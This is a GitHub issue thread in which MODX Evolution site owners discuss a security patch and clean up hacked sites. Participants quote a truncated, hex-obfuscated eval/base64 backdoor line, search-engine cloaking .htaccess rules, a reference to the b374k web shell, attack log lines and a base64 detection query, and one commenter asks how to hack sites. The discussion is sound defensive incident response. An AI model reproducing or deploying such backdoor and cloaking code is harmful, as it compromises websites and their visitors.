Security-fix 1.0.12 - 1.2 RC1

[Dmi3yy]

http://extras.evolution-cms.com/packages/core/security-fix.html fast solution for fix.

[pixelchutes]

@yama I believe I have found an additional vulnerability not covered by referenced patch or latest commits to evolution/develop. Can you PM me? (or /cc @dmi3yy)

[nick0]

Thanks for all the extra work and communication on this. It looks like we are waiting on an updated patch.

[yama]

@pixelchutes Thanks, I sent PM you. https://forums.modx.com/messages/ We will update the security patch immediately.

[yama]

https://github.com/extras-evolution/security-fix/commits/master Fixed

[nick0]

Thankyou Yama

[signalfeuer]

Is this file (http://extras.evolution-cms.com/packages/core/security-fix.html) updated, too?

[pbowyer]

I've a question about the eForm vulnerability: are we vulnerable just by having eForm installed (as we were with ajaxSearch), or does it need a form using eForm to be present on our website?

I think it's the latter, but would like confirmation!

[Nicola1971]

@signalfeuer Seems updated (Latest commit to master on 17/11/2016)

[yama]

@pbowyer There is no problem if eForm installed. The problem is using form

[fourroses666]

Did the fix yesterday morning. To confirm, we need to re-install the fix because there was another vulnerability fixed?

[oneismore]

@fourroses666 yup. Be sure to use the one from Github; I don't know if the one in the package manager has been updated as well.

[bossloper]

To limit the 'situation' for any old MODX installs out there that might remain unfixed if not proactively maintained, should the comments by @pixelchutes and @Cipa be modified so as not to identify exactly what the exploit is? I realise that a good coder might figure it out from the code changes, but it might help? Particularly as this thread is referenced in the MODX security notice: https://forums.modx.com/thread/101240/evo-security-patch-1-0-12-and-above

[pixelchutes]

@bossloper I've redacted a few of the specifics from my comments for good measure.

[Nicola1971]

@yama

There is no problem if eForm installed. The problem is using form

Any kind of snippets using forms?

• Snippet for User registration and management like WebloginPE?
• Snippets for Resource creation like Resource Editor, Pubkit, Fdm?

Does this snippets requires some coding fix?

[voklee]

I can confirm that Chinese title and descriptions show up in google search if you are long infected. Guess there is so much traffic from/to chinese pages that Google puts the site base language of pages to Chinese. Seen this in 2 websites so far.

Also seen this code in --> manager/includes/config.inc.php @preg_replace("\x40\50\x2e\53\x29\100\x65\151","\x65\166\x61\154\x28\47\x24\154\x74\156\x3d\63\x39\65\x32\63\x3b\47\x2e\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\151\x6d\160\x6c\157\x64\145\x28\42\x5c\156\x22\54\x66\151\x6c\145\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x5c\61\x22\51\x29\51\x29\51\x3b\44\x6c\164\x6e\75\x33\71\x35\62\x33\73",........ (Five lines. Seems not normal in that location)

[Nicola1971]

@voklee my italian customer of the previous screenshot said to me that if you access from some countries, does a complete redirect to the chinese site : one of their Japanese customer phoned asking if they had changed or sold the site :-D

[voklee]

@Nicola1971

iam not a pro into anti-hacking but i see thing in code that are not normal. My login was gone. I did a database reset. 1 hour later it was hacked again.

This is what was in the .htaccess (root) of site 1

RewriteCond %{HTTP_USER_AGENT} (google|yahoo|aol|bing|crawl|aspseek|icio|bot|spider|nutch|slurp|seznam|Seznam) [OR] RewriteCond %{HTTPREFERER} (google|aol|yahoo|msn|search|bing|Seznam|seznam) RewriteRule ^(.)$ index.php?$1 [QSA,PT,L] RewriteRule ^(.)/(.)/(._).htms index.php?uu=$1/$2/$3.htms [L]

[pixelchutes]

@voklee Not sure if it's related, but definitely take a look at @pbowyer's query above to look for potential hidden Plugin / backdoor. It overrides the system-wide DBAPI to inject SQL, and hides itself from view within MODX Manager.

It is also bound to the following events:

OnBeforeCacheUpdate
OnCacheUpdate
OnManagerAuthentication
OnManagerPageInit
OnWebPageInit
OnWebPagePrerender

If present, you will need to manually cleanup the database (delete associated records), and I'd also recommend manually clearing Evo site cache (siteCache.idx.php, etc)

If you have not patched with the updated files from a few hours ago, I would highly recommend it. The linked Security-FIX 1 11-11-2016 is likely outdated (based on the date), so I recommend manually patching.

[pbowyer]

Oh yes. As @pixelchutes says, MANUALLY CLEAR THE CACHE. That hidden plugin/backdoor looks to override the cache clearing from within MODX, so it stays around. Hence manually clearing, and deleting all the PHP files in assets/cache is necessary.

[yama]

@Nicola1971 Sorry, I only looked at the snippet that is included in the evo package. Among enclosed, Jot probably has no problem.

[qlworx]

I just found another 2 .php files in /manager/media/calendar/img Seems that they used this little admin-shell to admin their stuff: https://github.com/b374k/b374k

Hope that helps.

//qlworx

[yama]

@qlworx 1 . Delete each folder(base,module,theme)

<?php
file_put_contents('log.txt',print_r($_SERVER,true));
?>

2 . Rewrite the contents of index.php as above 3 . He will come again. Periodically check the contents of "log.txt" and consider measures

There is a possibility that something is set in other folders as well.

[qlworx]

@yama "Delete each folder(base,module,theme)" Seriously?!

[Nicola1971]

after clean up two infected sites, i've lost 3 tabs in system settings page. does not look normal to me. So: 1) exported from db only: contents, tvs, chunks and templates 2) setup a clean evo install + patch 3) reinstalled fresh snippets and modules 3) imported old contents, tvs, chunks and templates DB export 4) uploaded user images and templates files (after a good checkup)

• new admin and db password

Now it's ok

[pmfx]

Sometimes I have the same issue, but mostly after upgrade. And in most cases its caused by TinyMCE setting messed up. Nothing serious.

[yama]

Everyone, do you know when you were hacked? It is a time stamp of a suspicious files or folders.

[Deesen]

@qlworx Yes the directories related to b374k https://github.com/b374k/b374k

[fourroses666]

Having a couple of infected sites. Seems to renew .htaccess everytime. Deleted some weird .php files in root. Haven't found the main file.

.htaccess looks like:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>

(index.php is chanched I see now 17-11-2016, didn't apply the security fix yet on that site)

[Dmi3yy]

Lost tabs it tinemce

Отправлено с iPhone

18 нояб. 2016 г., в 13:08, yamamoto notifications@github.com написал(а):

Everyone, do you know when you were hacked? It is a time stamp of a suspicious file or folder.

— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub, or mute the thread.

[Deesen]

If tabs are lost there should be an error-message at the end of HTML source-code.. please tell me the message next time this issue appears.

[Nicola1971]

@pfmx, ok not bad anyway, was two very old sites started with evo 0.9x :)

@fourroses666 the infection is inside a plugin code in your DB. you need to remove it before delete files (or will be recreated)

[fourroses666]

@Nicola1971 Do you know which one?

[Deesen]

@fourroses666 You need phpMyAdmin and this statement https://github.com/modxcms/evolution/issues/919#issuecomment-260880870

[voklee]

@yama First file was placed 9 november 13:29 (Amsterdam)

I have cleaned up one site to see if it gets hacked again. Removed the plugin code (%base64% was in my case in the pluginn quickedit).

@fourroses666

use :

SELECT * FROM modx_site_plugins WHERE plugincode LIKE '%base64%'

[Nicola1971]

@fourroses666 as @pbowyer said

It's a different plugin on every install

[fourroses666]

Thx, mine was in plugin managermanager, looks good now.

[Rsolution-be]

@yama

First files where placed by these requests: (Brussels/Amsterdam)

185.144.28.213 - - [06/Nov/2016:19:59:27 +0100] "POST /index-ajax.php HTTP/1.1" 200 736 "http://XXX/index-ajax.php" "Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0"

185.144.28.213 - - [07/Nov/2016:22:25:01 +0100] "POST /index-ajax.php HTTP/1.1" 200 736 "http://XXX/index-ajax.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/21.0.1"

This request wrote:

47K Nov 6 19:59 assets/media/js-min.php

This file was multiple times accessed by multiple IP addresses.

Please make sure to place following debug code also in index-ajax.php.

file_put_contents('log.txt',print_r($_SERVER,true));

[yama]

thanks

[Omeryl]

Why has a patch still not been released as a version? There could have been a minor release the moment this was discovered and patched.

[michaelzap]

After applying this patch, eForm no longer works for me. I need eForm, so this is a critical problem that is keeping me from patching completely. When eForm tries to send an email, I get an error like this one:

Fatal error: Call to a member function IsHTML() on a non-object in /.../assets/snippets/eform/eform.inc.php on line xxx

The line number that's reference has this code: $modx->mail->IsHTML($isHtml);

Why would $modx->mail not be an object? I notice that in my previous version of eForm the code just used $mail = new PHPMailer(); and included that class before there like include_once "manager/includes/controls/class.phpmailer.php"; Are there perhaps other changes to the core mailer setup that are not accounted for in this patch? I get this error on sites running evo 1.0.4 and 1.0.6 (so far).

[yama]

@michaelzap Thanks for your information eform.inc.zip Would you try this patch?

[tweezy-au]

@michaelzap the original patch was for Evo 1.0.12 and above. Your best bet might be to upgrade to 1.1.0, then apply the patch to that. EDIT: or what @yama said

[michaelzap]

Thanks @yama and @tweezy-au. Unfortunately, that patched version of eform.inc.php throws the same error. Looking at it more closely this morning, I see that $modx->mail is not an object because it's null, so the PHPMailer class include failed above. It looks to me as if the method of including that class changed between my versions and 1.1.0 (perhaps to allow for using different mailer classes or just to abstract it a bit to make it more flexible).

Anyway, I don't really want to upgrade all of these sites (several of which have complex customizations) right before Thanksgiving and when we're still hopefully waiting on a final Evo 1.2 with the kinks worked out. I could try to include the PHPMailer class the old way in the new file, but I think that my best bet is to just add the extra injection protection to the original eform code directly for now and see how that goes. I would think that it would be just as effective there (and I've also uploaded the protect.inc.php file and am not running ajaxSearch or evoGallery).

So do I just need to replace brackets and other possible snippet/chunk code from all submitted eForm fields to harden this script? I see some discussion about partially escaped payloads above. I would be fine just stripping all brackets from all eForm fields as a temporary fix (they can just be replaced with parentheses in all of my forms, I believe).

[michaelzap]

Looks like I got eForm 1.4.8 to work with the new protect.inc.php file on MODx Evo 1.0.4 and 1.0.6 installations. Basically the problem that I had was that the new (post v1.1?) method of including and using the mailer class doesn't work in these older MODx Evo installations. So I just used the old method of including PHPMailer and sending the emails.

I'm attaching my file here for review. The changes start at line 481 and run through the cases where email is sent (~ line 624 in this file). I just commented out the old code so that people could see what was changed.

eform.inc.php.zip

I don't consider this a permanent fix, but as far as I can tell it will allow me to implement the security patch on older MODx Evo installations and still be able to use eForm. If folks notice any issues with this code, please let me know here. Personally I plan to update these sites to Evo 1.2 when that's available, but not this week!

I think that it couldn't hurt to also add some bracket-stripping code to eForm directly, but it's probably not necessary.

[Cipa]

Can anyone send me an email with how the sites were hacked? What steps should I do to hack a current site?

[criocere]

I applied this fix since 5 days and new files have been injected on my websites in /assets/files/minify.php /assets/files/eForm/*

When I look in the log I can see that all files are coming through my contact pages.

This fix is not complete I think.

Personnally I delete eForm folder from all my websites and remove my contact pages.

The eForm 1.16 seems not ok. I didn't a new version... where the 1.4.8 version comes from?

Thanks to all.

[fourroses666]

Did you clean/looked into the database/phpmyadmin;? https://github.com/modxcms/evolution/issues/919#issuecomment-261509445

I noticed the cache file "siteCache.idx.php" in the cache folder had some @eval into it too and needs to be removed. .htaccess and index.php in the root needed to be replaced and .htaccess in the /assets/cache/images/ folder.

Some infected sites had files in /media folder

[Nicola1971]

@criocere, all these files are injected by a malicious code you have inside a plugin in your db, if you don't remove this code, new files will be created every days.

[voklee]

I have 2 sites that were hacked.

In 1 version (A) i have removed all mentioned codes from directories and database but today a file was added in the root 'file.php' (after 6 days) QUESTION : Where can is see what process added this file?

In the other version (B) i have removed the whole website and replaced a clean new Modx version back. Connect this to the old (scanned) database and uploaded the /files, /template, /images, etc folders back (manualy all scanned. And there were 4 infected files in /gallery/#) This one no problem so far (2 days now)

[mint-ws]

@voklee I'm having similar problem as your (A) version: I found and removed the base64 code from plugin table in db, applied patched code, manually cleared cache and removed all the dodgy files mentioned in this thread. After a day the akismet.php file reappeared, my .htaccess file was overwritten and my index.php file was pre-pended with code.

Seems there is more code lurking in the depths, any ideas what to search for?